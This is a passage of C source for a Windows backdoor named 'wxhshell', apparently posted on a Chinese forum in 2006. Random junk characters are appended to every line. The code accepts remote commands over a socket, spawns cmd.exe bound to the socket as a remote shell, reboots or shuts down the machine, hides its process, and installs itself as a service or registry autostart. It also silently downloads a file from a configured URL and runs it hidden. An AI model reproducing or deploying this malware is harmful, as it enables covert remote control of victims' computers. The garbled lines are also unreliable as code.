    switch(cmd[0]) { gxIGL-1M  
  N<|_tC+ct  
  // 帮助 G98P<cyD  
  case '?': { wsnR$FhQ`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aeQvIob@  
    break; h2SVDKj  
  } Y%FQ]Q=+  
  // 安装 78}QaE  
  case 'i': { ZPieL&uV`  
    if(Install()) zF9SZ#{a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4' ym vR  
    else L"|~,SVF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -_bnGY%,  
    break; *f[nge&.  
    } )]/gu\90  
  // 卸载 kPm{tc  
  case 'r': { ETw7/S${  
    if(Uninstall()) hGPo{>xR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mIK-a{?G  
    else i|]Kw9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !\ IgTt,  
    break; (aAv7kB&  
    } {{G`0i2KV  
  // 显示 wxhshell 所在路径 B^;P:S<yG  
  case 'p': { G234UjN%  
    char svExeFile[MAX_PATH]; q`HuVilNH  
    strcpy(svExeFile,"\n\r"); _(K)(&  
      strcat(svExeFile,ExeFile); Aj854 L(!  
        send(wsh,svExeFile,strlen(svExeFile),0); JumZ>\'p(  
    break; </UUvMf"  
    } f4JmY1)@  
  // 重启 $)1i)/]9U  
  case 'b': { :2'y=t#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )U?Tmh  
    if(Boot(REBOOT)) u3"0K['3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?s=O6D&   
    else { e;+6U"Jx*  
    closesocket(wsh); :!SVpCt3  
    ExitThread(0); Wchu-]  
    } toq/G,N Q  
    break; @H{QHi  
    } NUlp4i~Q  
  // 关机 D5o[z:V7"  
  case 'd': { pO^PkX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $pV:)N4  
    if(Boot(SHUTDOWN)) YP^=b}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JHxy_<p/  
    else { /s@t-gTi  
    closesocket(wsh); 'jw?XtG  
    ExitThread(0); rBOxI  
    } #GDnV/0)  
    break; g[oa'.*OB  
    } ~AVn$];{  
  // 获取shell MI: rH  
  case 's': { <G9HVMiP  
    CmdShell(wsh); .!fhy[%o:D  
    closesocket(wsh); :y/1Jf'2f  
    ExitThread(0); ~  4v  
    break; WpPm|h  
  } 4LEWOWF}  
  // 退出 r8.`W\SKX  
  case 'x': { Z~g6C0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p<eu0B_V  
    CloseIt(wsh); `!`g&:Y  
    break; }V:B,:  
    } 3 291"0  
  // 离开 F9ys.Bc  
  case 'q': { Frn<~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z\d{A7  
    closesocket(wsh); ^tMb"WO  
    WSACleanup(); \dm5Em/  
    exit(1); prHM}n{0  
    break; s+tPHftp  
        } .3X5~OH  
  } CIxa" MW  
  } [@VM'@e7  
^(j}'p,  
  // 提示信息 3V(]*\L  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~.Wlv;  
} 4YV 0v,z  
  } >>cb0fH5  
; _ziRy  
  return; Tvd}5~ 5?  
} [P'"|TM[ ~  
</hv{<  
// shell模块句柄 ty"|yA  
int CmdShell(SOCKET sock) r}**^"mFy  
{ XIGz_g;#'w  
STARTUPINFO si; H*m3i;"4p\  
ZeroMemory(&si,sizeof(si)); B\73 Vf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kB)u@`</mV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R@X65o  
PROCESS_INFORMATION ProcessInfo; ?*zDsQ  
char cmdline[]="cmd"; l&/V4V-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GM~Ek] 9C%  
  return 0; xU1_L*tu '  
} |rgp(;iO  
3s]aXz:  
// 自身启动模式 =bBV A0y  
int StartFromService(void) NihUCj"  
{ {\WRW}iO  
typedef struct wD\viu q0  
{ g"Tb\  
  DWORD ExitStatus; `hl8j\HV<}  
  DWORD PebBaseAddress; kqH:H~sgD  
  DWORD AffinityMask; eh39"s  
  DWORD BasePriority; o=nF.y  
  ULONG UniqueProcessId; qj7 }]T_  
  ULONG InheritedFromUniqueProcessId; W?F Q  
}   PROCESS_BASIC_INFORMATION; [u $X.=(  
Y&XO:jB  
PROCNTQSIP NtQueryInformationProcess; 0h=}BCb+i  
WYUel4Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t]CA!i`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  [HEljEv  
/E39Z*  
  HANDLE             hProcess; &o;d  
  PROCESS_BASIC_INFORMATION pbi; ? K,d  
;!+-fn4C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mo?*nO|-  
  if(NULL == hInst ) return 0; Ki\\yK  
j|KjQ'9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 03/mB2|TF(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DFXHD,o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /h7u E  
[;Y,nSw  
  if (!NtQueryInformationProcess) return 0; `0_,>Z  
g5C$#<28  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AI^!?nJ%'  
  if(!hProcess) return 0; j S4\;  
/V {1Zw=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bess b>=  
-d.i4X3j  
  CloseHandle(hProcess); O**~ Tj  
+8|9&v`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ox5Es  
if(hProcess==NULL) return 0; *N |ak =  
4;bc!> sfC  
HMODULE hMod; tb^/jzC  
char procName[255]; 4J1_rMfh  
unsigned long cbNeeded; S\SYFXUl  
F%:74.]Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k%TBpG:T  
bZ>dr{%%e  
  CloseHandle(hProcess); _P` ^B  
AxfQ{>)0  
if(strstr(procName,"services")) return 1; // 以服务启动 <}p]0iA  
WfXwI 'y  
  return 0; // 注册表启动 G=F_{z\}  
} SajG67  
+lXIv  
// 主模块 TVM19)9  
int StartWxhshell(LPSTR lpCmdLine) .0rTk$B  
{ S,s#D9NU  
  SOCKET wsl; M2$Hb_S{  
BOOL val=TRUE; y9N6!M|'y  
  int port=0; [}=a6Q>)  
  struct sockaddr_in door; v:P=t2q  
}1DzWS-hh  
  if(wscfg.ws_autoins) Install(); /iEQ}  
QHr'r/0  
port=atoi(lpCmdLine); 1l'JoU.<  
o%,?v 9  
if(port<=0) port=wscfg.ws_port; AHo}K\O?r  
M>Q3;s  
  WSADATA data; vGnFX0?h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >"+ ho  
t2iQ[`/?~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   va:<W H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  )$GCur~  
  door.sin_family = AF_INET; Cw"[$E'J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I)kc[/^j$  
  door.sin_port = htons(port); =A*a9c2  
~z\a:+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8Vjv #pm  
closesocket(wsl); {r~=mQ  
return 1; Dkx}}E:<  
} BCuoFw)  
lGt:.p{NG  
  if(listen(wsl,2) == INVALID_SOCKET) { %^d<go^  
closesocket(wsl); =CW> ;h]  
return 1; MGf*+!y,  
} jz~#K;3=,  
  Wxhshell(wsl); Zd'Yu{<_2N  
  WSACleanup(); /:^nG+  
O+|ipw*B%  
return 0; tLU@&NY`  
@^<&LG5^  
} `-e9#diQe  
TNckyP75u  
// 以NT服务方式启动 kl[(!"p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) | TG6-e_  
{ Vc;g$Xr[  
DWORD   status = 0; _^eiN'B  
  DWORD   specificError = 0xfffffff; VC0Tqk  
 "UreV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ke:WlDf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Bd 0oA )i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kBLFK3i  
  serviceStatus.dwWin32ExitCode     = 0; 6"o=`Sq  
  serviceStatus.dwServiceSpecificExitCode = 0; c&P/v#U_  
  serviceStatus.dwCheckPoint       = 0; Qv`: E   
  serviceStatus.dwWaitHint       = 0; S?6 -I,]h  
2 6DX4  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Hj(K*z  
  if (hServiceStatusHandle==0) return; c|(J%@B)  
Caz5q|Oo  
status = GetLastError(); Lq$ig8V:O7  
  if (status!=NO_ERROR) yMu G? x+  
{ (7N!Jvg9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 71>,tq  
    serviceStatus.dwCheckPoint       = 0; 7_P33l8y  
    serviceStatus.dwWaitHint       = 0; {8qcM8  
    serviceStatus.dwWin32ExitCode     = status; 1Jdx#K  
    serviceStatus.dwServiceSpecificExitCode = specificError; >kxRsiKV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YXZP-=fB>i  
    return; g4Q' Fub+I  
  } P(FlU]q  
pg!MtuC}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |x.^rx`  
  serviceStatus.dwCheckPoint       = 0; .p.( \5Fo  
  serviceStatus.dwWaitHint       = 0; )hl7)~S<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 10h; N[  
} z5oJQPPi  
\NMqlxp2  
// 处理NT服务事件,比如:启动、停止 0%< hj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G3`9'-2q@c  
{ .%)uCLZr$  
switch(fdwControl) x/CM)!U)  
{ P 4t@BwU$  
case SERVICE_CONTROL_STOP: |/H?\]7  
  serviceStatus.dwWin32ExitCode = 0; =4'V}p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MU sF  
  serviceStatus.dwCheckPoint   = 0; |OAM;@jH  
  serviceStatus.dwWaitHint     = 0; qjhk#\y  
  { Woj5 yr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); & !ds#-  
  } SD:D8"8  
  return; b9#(I~}  
case SERVICE_CONTROL_PAUSE: kW2DKr-[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NiWAJ]Z  
  break; i}zz!dJTE  
case SERVICE_CONTROL_CONTINUE: Tg"? TZO~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $'>JG9M  
  break; |U;O HS  
case SERVICE_CONTROL_INTERROGATE: 8 AFc=Wx  
  break; Hi=</ Wy;  
}; _Y ;tD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ihf)gfHj  
} B @QWr;  
AX$r,KmE  
// 标准应用程序主函数 q?Csm\Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) = c Z24I  
{ d5>&, {o7N  
1KrJS(.  
// 获取操作系统版本 akt7rnt?i  
OsIsNt=GetOsVer(); .{c7 I!8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vG'#5%,|  
"^6Fh"]  
  // 从命令行安装 jd-ccnR l  
  if(strpbrk(lpCmdLine,"iI")) Install(); o+}k$i!6  
KUYwc@si\  
  // 下载执行文件 =f y|Dm74  
if(wscfg.ws_downexe) { &PRoT#,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J,)ytw]  
  WinExec(wscfg.ws_filenam,SW_HIDE); h2T\%V_j  
} _J!&R:]$  
?RS:I%bL  
if(!OsIsNt) { te2vv]W1  
// 如果时win9x,隐藏进程并且设置为注册表启动 KcpYHWCa.  
HideProc(); \u{4=-C.  
StartWxhshell(lpCmdLine); [.fh2XrVM  
} "Kp#Lx  
else @L~erg>8=  
  if(StartFromService()) ]"HaE-`%  
  // 以服务方式启动 #@OPi6.#!<  
  StartServiceCtrlDispatcher(DispatchTable); GW'v\O  
else +pme]V|<  
  // 普通方式启动 G\BZ^SwE  
  StartWxhshell(lpCmdLine); "r_wgl%  
J_Tz\bZ3)  
return 0; w-e{_R  
}
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只看该作者 1 发表于: 2006-10-10
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